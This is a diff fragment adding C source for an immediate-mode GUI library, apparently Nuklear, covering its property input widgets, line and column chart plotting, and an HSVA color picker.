+nk_property_behavior(nk_flags *ws, const struct nk_input *in, + struct nk_rect property, struct nk_rect label, struct nk_rect edit, + struct nk_rect empty, int *state, struct nk_property_variant *variant, + float inc_per_pixel) +{ + if (in && *state == NK_PROPERTY_DEFAULT) { + if (nk_button_behavior(ws, edit, in, NK_BUTTON_DEFAULT)) + *state = NK_PROPERTY_EDIT; + else if (nk_input_is_mouse_click_down_in_rect(in, NK_BUTTON_LEFT, label, nk_true)) + *state = NK_PROPERTY_DRAG; + else if (nk_input_is_mouse_click_down_in_rect(in, NK_BUTTON_LEFT, empty, nk_true)) + *state = NK_PROPERTY_DRAG; + } + if (*state == NK_PROPERTY_DRAG) { + nk_drag_behavior(ws, in, property, variant, inc_per_pixel); + if (!(*ws & NK_WIDGET_STATE_ACTIVED)) *state = NK_PROPERTY_DEFAULT; + } +} +NK_LIB void +nk_draw_property(struct nk_command_buffer *out, const struct nk_style_property *style, + const struct nk_rect *bounds, const struct nk_rect *label, nk_flags state, + const char *name, int len, const struct nk_user_font *font) +{ + struct nk_text text; + const struct nk_style_item *background; + + /* select correct background and text color */ + if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->active; + text.text = style->label_active; + } else if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + text.text = style->label_hover; + } else { + background = &style->normal; + text.text = style->label_normal; + } + + /* draw background */ + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, *bounds, &background->data.image, nk_white); + text.background = nk_rgba(0,0,0,0); + } else { + text.background = background->data.color; + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + nk_stroke_rect(out, *bounds, style->rounding, style->border, background->data.color); + } + + /* draw label */ + text.padding = nk_vec2(0,0); + nk_widget_text(out, *label, name, len, &text, NK_TEXT_CENTERED, font); +} +NK_LIB void +nk_do_property(nk_flags *ws, + struct nk_command_buffer *out, struct nk_rect property, + const char *name, struct nk_property_variant *variant, + float inc_per_pixel, char *buffer, int *len, + int *state, int *cursor, int *select_begin, int *select_end, + const struct nk_style_property *style, + enum nk_property_filter filter, struct nk_input *in, + const struct nk_user_font *font, struct nk_text_edit *text_edit, + enum nk_button_behavior behavior) +{ + const nk_plugin_filter filters[] = { + nk_filter_decimal, + nk_filter_float + }; + int active, old; + int num_len, name_len; + char string[NK_MAX_NUMBER_BUFFER]; + float size; + + char *dst = 0; + int *length; + + struct nk_rect left; + struct nk_rect right; + struct nk_rect label; + struct nk_rect edit; + struct nk_rect empty; + + /* left decrement button */ + left.h = font->height/2; + left.w = left.h; + left.x = property.x + style->border + style->padding.x; + left.y = property.y + style->border + property.h/2.0f - left.h/2; + + /* text label */ + name_len = nk_strlen(name); + size = font->width(font->userdata, font->height, name, name_len); + label.x = left.x + left.w + style->padding.x; + label.w = (float)size + 2 * style->padding.x; + label.y = property.y + style->border + style->padding.y; + label.h = property.h - (2 * style->border + 2 * style->padding.y); + + /* right increment button */ + right.y = left.y; + right.w = left.w; + right.h = left.h; + right.x = property.x + property.w - (right.w + style->padding.x); + + /* edit */ + if (*state == NK_PROPERTY_EDIT) { + size = font->width(font->userdata, font->height, buffer, *len); + size += style->edit.cursor_size; + length = len; + dst = buffer; + } else { + switch (variant->kind) { + default: break; + case NK_PROPERTY_INT: + nk_itoa(string, variant->value.i); + num_len = nk_strlen(string); + break; + case NK_PROPERTY_FLOAT: + NK_DTOA(string, (double)variant->value.f); + num_len = nk_string_float_limit(string, NK_MAX_FLOAT_PRECISION); + break; + case NK_PROPERTY_DOUBLE: + NK_DTOA(string, variant->value.d); + num_len = nk_string_float_limit(string, NK_MAX_FLOAT_PRECISION); + break; + } + size = font->width(font->userdata, font->height, string, num_len); + dst = string; + length = &num_len; + } + + edit.w = (float)size + 2 * style->padding.x; + edit.w = NK_MIN(edit.w, right.x - (label.x + label.w)); + edit.x = right.x - (edit.w + style->padding.x); + edit.y = property.y + style->border; + edit.h = property.h - (2 * style->border); + + /* empty left space activator */ + empty.w = edit.x - (label.x + label.w); + empty.x = label.x + label.w; + empty.y = property.y; + empty.h = property.h; + + /* update property */ + old = (*state == NK_PROPERTY_EDIT); + nk_property_behavior(ws, in, property, label, edit, empty, state, variant, inc_per_pixel); + + /* draw property */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_property(out, style, &property, &label, *ws, name, name_len, font); + if (style->draw_end) style->draw_end(out, style->userdata); + + /* execute right button */ + if (nk_do_button_symbol(ws, out, left, style->sym_left, behavior, &style->dec_button, in, font)) { + switch (variant->kind) { + default: break; + case NK_PROPERTY_INT: + variant->value.i = NK_CLAMP(variant->min_value.i, variant->value.i - variant->step.i, variant->max_value.i); break; + case NK_PROPERTY_FLOAT: + variant->value.f = NK_CLAMP(variant->min_value.f, variant->value.f - variant->step.f, variant->max_value.f); break; + case NK_PROPERTY_DOUBLE: + variant->value.d = NK_CLAMP(variant->min_value.d, variant->value.d - variant->step.d, variant->max_value.d); break; + } + } + /* execute left button */ + if (nk_do_button_symbol(ws, out, right, style->sym_right, behavior, &style->inc_button, in, font)) { + switch (variant->kind) { + default: break; + case NK_PROPERTY_INT: + variant->value.i = NK_CLAMP(variant->min_value.i, variant->value.i + variant->step.i, variant->max_value.i); break; + case NK_PROPERTY_FLOAT: + variant->value.f = NK_CLAMP(variant->min_value.f, variant->value.f + variant->step.f, variant->max_value.f); break; + case NK_PROPERTY_DOUBLE: + variant->value.d = NK_CLAMP(variant->min_value.d, variant->value.d + variant->step.d, variant->max_value.d); break; + } + } + if (old != NK_PROPERTY_EDIT && (*state == NK_PROPERTY_EDIT)) { + /* property has been activated so setup buffer */ + NK_MEMCPY(buffer, dst, (nk_size)*length); + *cursor = nk_utf_len(buffer, *length); + *len = *length; + length = len; + dst = buffer; + active = 0; + } else active = (*state == NK_PROPERTY_EDIT); + + /* execute and run text edit field */ + nk_textedit_clear_state(text_edit, NK_TEXT_EDIT_SINGLE_LINE, filters[filter]); + text_edit->active = (unsigned char)active; + text_edit->string.len = *length; + text_edit->cursor = NK_CLAMP(0, *cursor, *length); + text_edit->select_start = NK_CLAMP(0,*select_begin, *length); + text_edit->select_end = NK_CLAMP(0,*select_end, *length); + text_edit->string.buffer.allocated = (nk_size)*length; + text_edit->string.buffer.memory.size = NK_MAX_NUMBER_BUFFER; + text_edit->string.buffer.memory.ptr = dst; + text_edit->string.buffer.size = NK_MAX_NUMBER_BUFFER; + text_edit->mode = NK_TEXT_EDIT_MODE_INSERT; + nk_do_edit(ws, out, edit, NK_EDIT_FIELD|NK_EDIT_AUTO_SELECT, + filters[filter], text_edit, &style->edit, (*state == NK_PROPERTY_EDIT) ? in: 0, font); + + *length = text_edit->string.len; + *cursor = text_edit->cursor; + *select_begin = text_edit->select_start; + *select_end = text_edit->select_end; + if (text_edit->active && nk_input_is_key_pressed(in, NK_KEY_ENTER)) + text_edit->active = nk_false; + + if (active && !text_edit->active) { + /* property is now not active so convert edit text to value*/ + *state = NK_PROPERTY_DEFAULT; + buffer[*len] = '\0'; + switch (variant->kind) { + default: break; + case NK_PROPERTY_INT: + variant->value.i = nk_strtoi(buffer, 0); + variant->value.i = NK_CLAMP(variant->min_value.i, variant->value.i, variant->max_value.i); + break; + case NK_PROPERTY_FLOAT: + nk_string_float_limit(buffer, NK_MAX_FLOAT_PRECISION); + variant->value.f = nk_strtof(buffer, 0); + variant->value.f = NK_CLAMP(variant->min_value.f, variant->value.f, variant->max_value.f); + break; + case NK_PROPERTY_DOUBLE: + nk_string_float_limit(buffer, NK_MAX_FLOAT_PRECISION); + variant->value.d = nk_strtod(buffer, 0); + variant->value.d = NK_CLAMP(variant->min_value.d, variant->value.d, variant->max_value.d); + break; + } + } +} +NK_LIB struct nk_property_variant +nk_property_variant_int(int value, int min_value, int max_value, int step) +{ + struct nk_property_variant result; + result.kind = NK_PROPERTY_INT; + result.value.i = value; + result.min_value.i = min_value; + result.max_value.i = max_value; + result.step.i = step; + return result; +} +NK_LIB struct nk_property_variant +nk_property_variant_float(float value, float min_value, float max_value, float step) +{ + struct nk_property_variant result; + result.kind = NK_PROPERTY_FLOAT; + result.value.f = value; + result.min_value.f = min_value; + result.max_value.f = max_value; + result.step.f = step; + return result; +} +NK_LIB struct nk_property_variant +nk_property_variant_double(double value, double min_value, double max_value, + double step) +{ + struct nk_property_variant result; + result.kind = NK_PROPERTY_DOUBLE; + result.value.d = value; + result.min_value.d = min_value; + result.max_value.d = max_value; + result.step.d = step; + return result; +} +NK_LIB void +nk_property(struct nk_context *ctx, const char *name, struct nk_property_variant *variant, + float inc_per_pixel, const enum nk_property_filter filter) +{ + struct nk_window *win; + struct nk_panel *layout; + struct nk_input *in; + const struct nk_style *style; + + struct nk_rect bounds; + enum nk_widget_layout_states s; + + int *state = 0; + nk_hash hash = 0; + char *buffer = 0; + int *len = 0; + int *cursor = 0; + int *select_begin = 0; + int *select_end = 0; + int old_state; + + char dummy_buffer[NK_MAX_NUMBER_BUFFER]; + int dummy_state = NK_PROPERTY_DEFAULT; + int dummy_length = 0; + int dummy_cursor = 0; + int dummy_select_begin = 0; + int dummy_select_end = 0; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return; + + win = ctx->current; + layout = win->layout; + style = &ctx->style; + s = nk_widget(&bounds, ctx); + if (!s) return; + + /* calculate hash from name */ + if (name[0] == '#') { + hash = nk_murmur_hash(name, (int)nk_strlen(name), win->property.seq++); + name++; /* special number hash */ + } else hash = nk_murmur_hash(name, (int)nk_strlen(name), 42); + + /* check if property is currently hot item */ + if (win->property.active && hash == win->property.name) { + buffer = win->property.buffer; + len = &win->property.length; + cursor = &win->property.cursor; + state = &win->property.state; + select_begin = &win->property.select_start; + select_end = &win->property.select_end; + } else { + buffer = dummy_buffer; + len = &dummy_length; + cursor = &dummy_cursor; + state = &dummy_state; + select_begin = &dummy_select_begin; + select_end = &dummy_select_end; + } + + /* execute property widget */ + old_state = *state; + ctx->text_edit.clip = ctx->clip; + in = ((s == NK_WIDGET_ROM && !win->property.active) || + layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + nk_do_property(&ctx->last_widget_state, &win->buffer, bounds, name, + variant, inc_per_pixel, buffer, len, state, cursor, select_begin, + select_end, &style->property, filter, in, style->font, &ctx->text_edit, + ctx->button_behavior); + + if (in && *state != NK_PROPERTY_DEFAULT && !win->property.active) { + /* current property is now hot */ + win->property.active = 1; + NK_MEMCPY(win->property.buffer, buffer, (nk_size)*len); + win->property.length = *len; + win->property.cursor = *cursor; + win->property.state = *state; + win->property.name = hash; + win->property.select_start = *select_begin; + win->property.select_end = *select_end; + if (*state == NK_PROPERTY_DRAG) { + ctx->input.mouse.grab = nk_true; + ctx->input.mouse.grabbed = nk_true; + } + } + /* check if previously active property is now inactive */ + if (*state == NK_PROPERTY_DEFAULT && old_state != NK_PROPERTY_DEFAULT) { + if (old_state == NK_PROPERTY_DRAG) { + ctx->input.mouse.grab = nk_false; + ctx->input.mouse.grabbed = nk_false; + ctx->input.mouse.ungrab = nk_true; + } + win->property.select_start = 0; + win->property.select_end = 0; + win->property.active = 0; + } +} +NK_API void +nk_property_int(struct nk_context *ctx, const char *name, + int min, int *val, int max, int step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + NK_ASSERT(val); + + if (!ctx || !ctx->current || !name || !val) return; + variant = nk_property_variant_int(*val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_INT); + *val = variant.value.i; +} +NK_API void +nk_property_float(struct nk_context *ctx, const char *name, + float min, float *val, float max, float step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + NK_ASSERT(val); + + if (!ctx || !ctx->current || !name || !val) return; + variant = nk_property_variant_float(*val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_FLOAT); + *val = variant.value.f; +} +NK_API void +nk_property_double(struct nk_context *ctx, const char *name, + double min, double *val, double max, double step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + NK_ASSERT(val); + + if (!ctx || !ctx->current || !name || !val) return; + variant = nk_property_variant_double(*val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_FLOAT); + *val = variant.value.d; +} +NK_API int +nk_propertyi(struct nk_context *ctx, const char *name, int min, int val, + int max, int step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + + if (!ctx || !ctx->current || !name) return val; + variant = nk_property_variant_int(val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_INT); + val = variant.value.i; + return val; +} +NK_API float +nk_propertyf(struct nk_context *ctx, const char *name, float min, + float val, float max, float step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + + if (!ctx || !ctx->current || !name) return val; + variant = nk_property_variant_float(val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_FLOAT); + val = variant.value.f; + return val; +} +NK_API double +nk_propertyd(struct nk_context *ctx, const char *name, double min, + double val, double max, double step, float inc_per_pixel) +{ + struct nk_property_variant variant; + NK_ASSERT(ctx); + NK_ASSERT(name); + + if (!ctx || !ctx->current || !name) return val; + variant = nk_property_variant_double(val, min, max, step); + nk_property(ctx, name, &variant, inc_per_pixel, NK_FILTER_FLOAT); + val = variant.value.d; + return val; +} + + + + + +/* ============================================================== + * + * CHART + * + * ===============================================================*/ +NK_API int +nk_chart_begin_colored(struct nk_context *ctx, enum nk_chart_type type, + struct nk_color color, struct nk_color highlight, + int count, float min_value, float max_value) +{ + struct nk_window *win; + struct nk_chart *chart; + const struct nk_style *config; + const struct nk_style_chart *style; + + const struct nk_style_item *background; + struct nk_rect bounds = {0, 0, 0, 0}; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + + if (!ctx || !ctx->current || !ctx->current->layout) return 0; + if (!nk_widget(&bounds, ctx)) { + chart = &ctx->current->layout->chart; + nk_zero(chart, sizeof(*chart)); + return 0; + } + + win = ctx->current; + config = &ctx->style; + chart = &win->layout->chart; + style = &config->chart; + + /* setup basic generic chart */ + nk_zero(chart, sizeof(*chart)); + chart->x = bounds.x + style->padding.x; + chart->y = bounds.y + style->padding.y; + chart->w = bounds.w - 2 * style->padding.x; + chart->h = bounds.h - 2 * style->padding.y; + chart->w = NK_MAX(chart->w, 2 * style->padding.x); + chart->h = NK_MAX(chart->h, 2 * style->padding.y); + + /* add first slot into chart */ + {struct nk_chart_slot *slot = &chart->slots[chart->slot++]; + slot->type = type; + slot->count = count; + slot->color = color; + slot->highlight = highlight; + slot->min = NK_MIN(min_value, max_value); + slot->max = NK_MAX(min_value, max_value); + slot->range = slot->max - slot->min;} + + /* draw chart background */ + background = &style->background; + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(&win->buffer, bounds, &background->data.image, nk_white); + } else { + nk_fill_rect(&win->buffer, bounds, style->rounding, style->border_color); + nk_fill_rect(&win->buffer, nk_shrink_rect(bounds, style->border), + style->rounding, style->background.data.color); + } + return 1; +} +NK_API int +nk_chart_begin(struct nk_context *ctx, const enum nk_chart_type type, + int count, float min_value, float max_value) +{ + return nk_chart_begin_colored(ctx, type, ctx->style.chart.color, + ctx->style.chart.selected_color, count, min_value, max_value); +} +NK_API void +nk_chart_add_slot_colored(struct nk_context *ctx, const enum nk_chart_type type, + struct nk_color color, struct nk_color highlight, + int count, float min_value, float max_value) +{ + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + NK_ASSERT(ctx->current->layout->chart.slot < NK_CHART_MAX_SLOT); + if (!ctx || !ctx->current || !ctx->current->layout) return; + if (ctx->current->layout->chart.slot >= NK_CHART_MAX_SLOT) return; + + /* add another slot into the graph */ + {struct nk_chart *chart = &ctx->current->layout->chart; + struct nk_chart_slot *slot = &chart->slots[chart->slot++]; + slot->type = type; + slot->count = count; + slot->color = color; + slot->highlight = highlight; + slot->min = NK_MIN(min_value, max_value); + slot->max = NK_MAX(min_value, max_value); + slot->range = slot->max - slot->min;} +} +NK_API void +nk_chart_add_slot(struct nk_context *ctx, const enum nk_chart_type type, + int count, float min_value, float max_value) +{ + nk_chart_add_slot_colored(ctx, type, ctx->style.chart.color, + ctx->style.chart.selected_color, count, min_value, max_value); +} +NK_INTERN nk_flags +nk_chart_push_line(struct nk_context *ctx, struct nk_window *win, + struct nk_chart *g, float value, int slot) +{ + struct nk_panel *layout = win->layout; + const struct nk_input *i = &ctx->input; + struct nk_command_buffer *out = &win->buffer; + + nk_flags ret = 0; + struct nk_vec2 cur; + struct nk_rect bounds; + struct nk_color color; + float step; + float range; + float ratio; + + NK_ASSERT(slot >= 0 && slot < NK_CHART_MAX_SLOT); + step = g->w / (float)g->slots[slot].count; + range = g->slots[slot].max - g->slots[slot].min; + ratio = (value - g->slots[slot].min) / range; + + if (g->slots[slot].index == 0) { + /* first data point does not have a connection */ + g->slots[slot].last.x = g->x; + g->slots[slot].last.y = (g->y + g->h) - ratio * (float)g->h; + + bounds.x = g->slots[slot].last.x - 2; + bounds.y = g->slots[slot].last.y - 2; + bounds.w = bounds.h = 4; + + color = g->slots[slot].color; + if (!(layout->flags & NK_WINDOW_ROM) && + NK_INBOX(i->mouse.pos.x,i->mouse.pos.y, g->slots[slot].last.x-3, g->slots[slot].last.y-3, 6, 6)){ + ret = nk_input_is_mouse_hovering_rect(i, bounds) ? NK_CHART_HOVERING : 0; + ret |= (i->mouse.buttons[NK_BUTTON_LEFT].down && + i->mouse.buttons[NK_BUTTON_LEFT].clicked) ? NK_CHART_CLICKED: 0; + color = g->slots[slot].highlight; + } + nk_fill_rect(out, bounds, 0, color); + g->slots[slot].index += 1; + return ret; + } + + /* draw a line between the last data point and the new one */ + color = g->slots[slot].color; + cur.x = g->x + (float)(step * (float)g->slots[slot].index); + cur.y = (g->y + g->h) - (ratio * (float)g->h); + nk_stroke_line(out, g->slots[slot].last.x, g->slots[slot].last.y, cur.x, cur.y, 1.0f, color); + + bounds.x = cur.x - 3; + bounds.y = cur.y - 3; + bounds.w = bounds.h = 6; + + /* user selection of current data point */ + if (!(layout->flags & NK_WINDOW_ROM)) { + if (nk_input_is_mouse_hovering_rect(i, bounds)) { + ret = NK_CHART_HOVERING; + ret |= (!i->mouse.buttons[NK_BUTTON_LEFT].down && + i->mouse.buttons[NK_BUTTON_LEFT].clicked) ? NK_CHART_CLICKED: 0; + color = g->slots[slot].highlight; + } + } + nk_fill_rect(out, nk_rect(cur.x - 2, cur.y - 2, 4, 4), 0, color); + + /* save current data point position */ + g->slots[slot].last.x = cur.x; + g->slots[slot].last.y = cur.y; + g->slots[slot].index += 1; + return ret; +} +NK_INTERN nk_flags +nk_chart_push_column(const struct nk_context *ctx, struct nk_window *win, + struct nk_chart *chart, float value, int slot) +{ + struct nk_command_buffer *out = &win->buffer; + const struct nk_input *in = &ctx->input; + struct nk_panel *layout = win->layout; + + float ratio; + nk_flags ret = 0; + struct nk_color color; + struct nk_rect item = {0,0,0,0}; + + NK_ASSERT(slot >= 0 && slot < NK_CHART_MAX_SLOT); + if (chart->slots[slot].index >= chart->slots[slot].count) + return nk_false; + if (chart->slots[slot].count) { + float padding = (float)(chart->slots[slot].count-1); + item.w = (chart->w - padding) / (float)(chart->slots[slot].count); + } + + /* calculate bounds of current bar chart entry */ + color = chart->slots[slot].color;; + item.h = chart->h * NK_ABS((value/chart->slots[slot].range)); + if (value >= 0) { + ratio = (value + NK_ABS(chart->slots[slot].min)) / NK_ABS(chart->slots[slot].range); + item.y = (chart->y + chart->h) - chart->h * ratio; + } else { + ratio = (value - chart->slots[slot].max) / chart->slots[slot].range; + item.y = chart->y + (chart->h * NK_ABS(ratio)) - item.h; + } + item.x = chart->x + ((float)chart->slots[slot].index * item.w); + item.x = item.x + ((float)chart->slots[slot].index); + + /* user chart bar selection */ + if (!(layout->flags & NK_WINDOW_ROM) && + NK_INBOX(in->mouse.pos.x,in->mouse.pos.y,item.x,item.y,item.w,item.h)) { + ret = NK_CHART_HOVERING; + ret |= (!in->mouse.buttons[NK_BUTTON_LEFT].down && + in->mouse.buttons[NK_BUTTON_LEFT].clicked) ? NK_CHART_CLICKED: 0; + color = chart->slots[slot].highlight; + } + nk_fill_rect(out, item, 0, color); + chart->slots[slot].index += 1; + return ret; +} +NK_API nk_flags +nk_chart_push_slot(struct nk_context *ctx, float value, int slot) +{ + nk_flags flags; + struct nk_window *win; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(slot >= 0 && slot < NK_CHART_MAX_SLOT); + NK_ASSERT(slot < ctx->current->layout->chart.slot); + if (!ctx || !ctx->current || slot >= NK_CHART_MAX_SLOT) return nk_false; + if (slot >= ctx->current->layout->chart.slot) return nk_false; + + win = ctx->current; + if (win->layout->chart.slot < slot) return nk_false; + switch (win->layout->chart.slots[slot].type) { + case NK_CHART_LINES: + flags = nk_chart_push_line(ctx, win, &win->layout->chart, value, slot); break; + case NK_CHART_COLUMN: + flags = nk_chart_push_column(ctx, win, &win->layout->chart, value, slot); break; + default: + case NK_CHART_MAX: + flags = 0; + } + return flags; +} +NK_API nk_flags +nk_chart_push(struct nk_context *ctx, float value) +{ + return nk_chart_push_slot(ctx, value, 0); +} +NK_API void +nk_chart_end(struct nk_context *ctx) +{ + struct nk_window *win; + struct nk_chart *chart; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + if (!ctx || !ctx->current) + return; + + win = ctx->current; + chart = &win->layout->chart; + NK_MEMSET(chart, 0, sizeof(*chart)); + return; +} +NK_API void +nk_plot(struct nk_context *ctx, enum nk_chart_type type, const float *values, + int count, int offset) +{ + int i = 0; + float min_value; + float max_value; + + NK_ASSERT(ctx); + NK_ASSERT(values); + if (!ctx || !values || !count) return; + + min_value = values[offset]; + max_value = values[offset]; + for (i = 0; i < count; ++i) { + min_value = NK_MIN(values[i + offset], min_value); + max_value = NK_MAX(values[i + offset], max_value); + } + + if (nk_chart_begin(ctx, type, count, min_value, max_value)) { + for (i = 0; i < count; ++i) + nk_chart_push(ctx, values[i + offset]); + nk_chart_end(ctx); + } +} +NK_API void +nk_plot_function(struct nk_context *ctx, enum nk_chart_type type, void *userdata, + float(*value_getter)(void* user, int index), int count, int offset) +{ + int i = 0; + float min_value; + float max_value; + + NK_ASSERT(ctx); + NK_ASSERT(value_getter); + if (!ctx || !value_getter || !count) return; + + max_value = min_value = value_getter(userdata, offset); + for (i = 0; i < count; ++i) { + float value = value_getter(userdata, i + offset); + min_value = NK_MIN(value, min_value); + max_value = NK_MAX(value, max_value); + } + + if (nk_chart_begin(ctx, type, count, min_value, max_value)) { + for (i = 0; i < count; ++i) + nk_chart_push(ctx, value_getter(userdata, i + offset)); + nk_chart_end(ctx); + } +} + + + + + +/* ============================================================== + * + * COLOR PICKER + * + * ===============================================================*/ +NK_LIB int +nk_color_picker_behavior(nk_flags *state, + const struct nk_rect *bounds, const struct nk_rect *matrix, + const struct nk_rect *hue_bar, const struct nk_rect *alpha_bar, + struct nk_colorf *color, const struct nk_input *in) +{ + float hsva[4]; + int value_changed = 0; + int hsv_changed = 0; + + NK_ASSERT(state); + NK_ASSERT(matrix); + NK_ASSERT(hue_bar); + NK_ASSERT(color); + + /* color matrix */ + nk_colorf_hsva_fv(hsva, *color); + if (nk_button_behavior(state, *matrix, in, NK_BUTTON_REPEATER)) { + hsva[1] = NK_SATURATE((in->mouse.pos.x - matrix->x) / (matrix->w-1)); + hsva[2] = 1.0f - NK_SATURATE((in->mouse.pos.y - matrix->y) / (matrix->h-1)); + value_changed = hsv_changed = 1; + } + /* hue bar */ + if (nk_button_behavior(state, *hue_bar, in, NK_BUTTON_REPEATER)) { + hsva[0] = NK_SATURATE((in->mouse.pos.y - hue_bar->y) / (hue_bar->h-1)); + value_changed = hsv_changed = 1; + } + /* alpha bar */ + if (alpha_bar) { + if (nk_button_behavior(state, *alpha_bar, in, NK_BUTTON_REPEATER)) { + hsva[3] = 1.0f - NK_SATURATE((in->mouse.pos.y - alpha_bar->y) / (alpha_bar->h-1)); + value_changed = 1; + } + } + nk_widget_state_reset(state); + if (hsv_changed) { + *color = nk_hsva_colorfv(hsva); + *state = NK_WIDGET_STATE_ACTIVE; + } + if (value_changed) { + color->a = hsva[3]; + *state = NK_WIDGET_STATE_ACTIVE; + } + /* set color picker widget state */ + if (nk_input_is_mouse_hovering_rect(in, *bounds)) + *state = NK_WIDGET_STATE_HOVERED; + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(in, *bounds)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, *bounds)) + *state |= NK_WIDGET_STATE_LEFT; + return value_changed; +} +NK_LIB void +nk_draw_color_picker(struct nk_command_buffer *o, const struct nk_rect *matrix, + const struct nk_rect *hue_bar, const struct nk_rect *alpha_bar, + struct nk_colorf col) +{ + NK_STORAGE const struct nk_color black = {0,0,0,255}; + NK_STORAGE const struct nk_color white = {255, 255, 255, 255}; + NK_STORAGE const struct nk_color black_trans = {0,0,0,0}; + + const float crosshair_size = 7.0f; + struct nk_color temp; + float hsva[4]; + float line_y; + int i; + + NK_ASSERT(o); + NK_ASSERT(matrix); + NK_ASSERT(hue_bar); + + /* draw hue bar */ + nk_colorf_hsva_fv(hsva, col); + for (i = 0; i < 6; ++i) { + NK_GLOBAL const struct nk_color hue_colors[] = { + {255, 0, 0, 255}, {255,255,0,255}, {0,255,0,255}, {0, 255,255,255}, + {0,0,255,255}, {255, 0, 255, 255}, {255, 0, 0, 255} + }; + nk_fill_rect_multi_color(o, + nk_rect(hue_bar->x, hue_bar->y + (float)i * (hue_bar->h/6.0f) + 0.5f, + hue_bar->w, (hue_bar->h/6.0f) + 0.5f), hue_colors[i], hue_colors[i], + hue_colors[i+1], hue_colors[i+1]); + } + line_y = (float)(int)(hue_bar->y + hsva[0] * matrix->h + 0.5f); + nk_stroke_line(o, hue_bar->x-1, line_y, hue_bar->x + hue_bar->w + 2, + line_y, 1, nk_rgb(255,255,255)); + + /* draw alpha bar */ + if (alpha_bar) { + float alpha = NK_SATURATE(col.a); + line_y = (float)(int)(alpha_bar->y + (1.0f - alpha) * matrix->h + 0.5f); + + nk_fill_rect_multi_color(o, *alpha_bar, white, white, black, black); + nk_stroke_line(o, alpha_bar->x-1, line_y, alpha_bar->x + alpha_bar->w + 2, + line_y, 1, nk_rgb(255,255,255)); + } + + /* draw color matrix */ + temp = nk_hsv_f(hsva[0], 1.0f, 1.0f); + nk_fill_rect_multi_color(o, *matrix, white, temp, temp, white); + nk_fill_rect_multi_color(o, *matrix, black_trans, black_trans, black, black); + + /* draw cross-hair */ + {struct nk_vec2 p; float S = hsva[1]; float V = hsva[2]; + p.x = (float)(int)(matrix->x + S * matrix->w); + p.y = (float)(int)(matrix->y + (1.0f - V) * matrix->h); + nk_stroke_line(o, p.x - crosshair_size, p.y, p.x-2, p.y, 1.0f, white); + nk_stroke_line(o, p.x + crosshair_size + 1, p.y, p.x+3, p.y, 1.0f, white); + nk_stroke_line(o, p.x, p.y + crosshair_size + 1, p.x, p.y+3, 1.0f, white); + nk_stroke_line(o, p.x, p.y - crosshair_size, p.x, p.y-2, 1.0f, white);} +} +NK_LIB int +nk_do_color_picker(nk_flags *state, + struct nk_command_buffer *out, struct nk_colorf *col, + enum nk_color_format fmt, struct nk_rect bounds, + struct nk_vec2 padding, const struct nk_input *in, + const struct nk_user_font *font) +{ + int ret = 0; + struct nk_rect matrix; + struct nk_rect hue_bar; + struct nk_rect alpha_bar; + float bar_w; + + NK_ASSERT(out); + NK_ASSERT(col); + NK_ASSERT(state); + NK_ASSERT(font); + if (!out || !col || !state || !font) + return ret; + + bar_w = font->height; + bounds.x += padding.x; + bounds.y += padding.x; + bounds.w -= 2 * padding.x; + bounds.h -= 2 * padding.y; + + matrix.x = bounds.x; + matrix.y = bounds.y; + matrix.h = bounds.h; + matrix.w = bounds.w - (3 * padding.x + 2 * bar_w); + + hue_bar.w = bar_w; + hue_bar.y = bounds.y; + hue_bar.h = matrix.h; + hue_bar.x = matrix.x + matrix.w + padding.x; + + alpha_bar.x = hue_bar.x + hue_bar.w + padding.x; + alpha_bar.y = bounds.y; + alpha_bar.w = bar_w; + alpha_bar.h = matrix.h; + + ret = nk_color_picker_behavior(state, &bounds, &matrix, &hue_bar, + (fmt == NK_RGBA) ? &alpha_bar:0, col, in); + nk_draw_color_picker(out, &matrix, &hue_bar, (fmt == NK_RGBA) ? &alpha_bar:0, *col); + return ret; +} +NK_API int +nk_color_pick(struct nk_context * ctx, struct nk_colorf *color, + enum nk_color_format fmt) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_style *config; + const struct nk_input *in; + + enum nk_widget_layout_states state; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(color); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout || !color) + return 0; + + win = ctx->current; + config = &ctx->style; + layout = win->layout; + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_color_picker(&ctx->last_widget_state, &win->buffer, color, fmt, bounds, + nk_vec2(0,0), in, config->font); +} +NK_API struct nk_colorf +nk_color_picker(struct nk_context *ctx, struct nk_colorf color, + enum nk_color_format fmt) +{ + nk_color_pick(ctx, &color, fmt); + return color; +} + 